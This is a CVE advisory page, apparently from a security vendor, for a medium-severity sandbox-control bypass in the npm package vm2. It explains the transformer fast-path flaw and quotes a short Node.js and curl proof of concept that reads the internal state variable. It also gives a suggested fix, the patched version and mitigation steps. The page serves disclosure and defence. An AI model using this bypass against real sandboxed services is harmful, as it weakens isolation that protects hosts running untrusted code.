CVE-2026-44003 — vm2
MEDIUMCVE-2026-44003 is a medium-severity (CVSS 5.3) CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: Transformer Fast-Path Bypass Exposes Internal State Variable
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44003.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44003 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).
Details
In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
When the fast-path is taken:
- INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to
VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAILnever runs withstatement instrumentation is bypassed:with()statements are not wrapped withwrapWith(), enabling scope manipulation- The internal state object exposes:
handleException(e),wrapWith(x),import(what)
While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.
PoC
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM();
// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"
// Control test — blocked when catch keyword is present
try {
vm.run(`
try {
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
} catch(e) { e.message }
`);
} catch(e) {
console.log(e.message); // "Use of internal vm2 state variable"
}
HTTP demonstration:
# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"
# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}
Suggested fix:
// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
return {__proto__: null, code, hasAsync: false};
}
Impact
- Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
- Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes.
- Scope: All applications using vm2. No special configuration required.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.0npm install vm2@3.11.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44003 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44003 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44003. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
vm2 is vulnerable to sandbox escape via code transformer optimization bypass exposing internal VM2 security state. A remote unauthenticated attacker who can submit sandboxed code without catch/import/async keywords may access internal security functions. Fixed in vm2 3.11.0.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1785854226 | RHSA-2026:50850 |
Frequently Asked Questions
Is CVE-2026-44003 in your dependencies?
O3 Security finds CVE-2026-44003 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.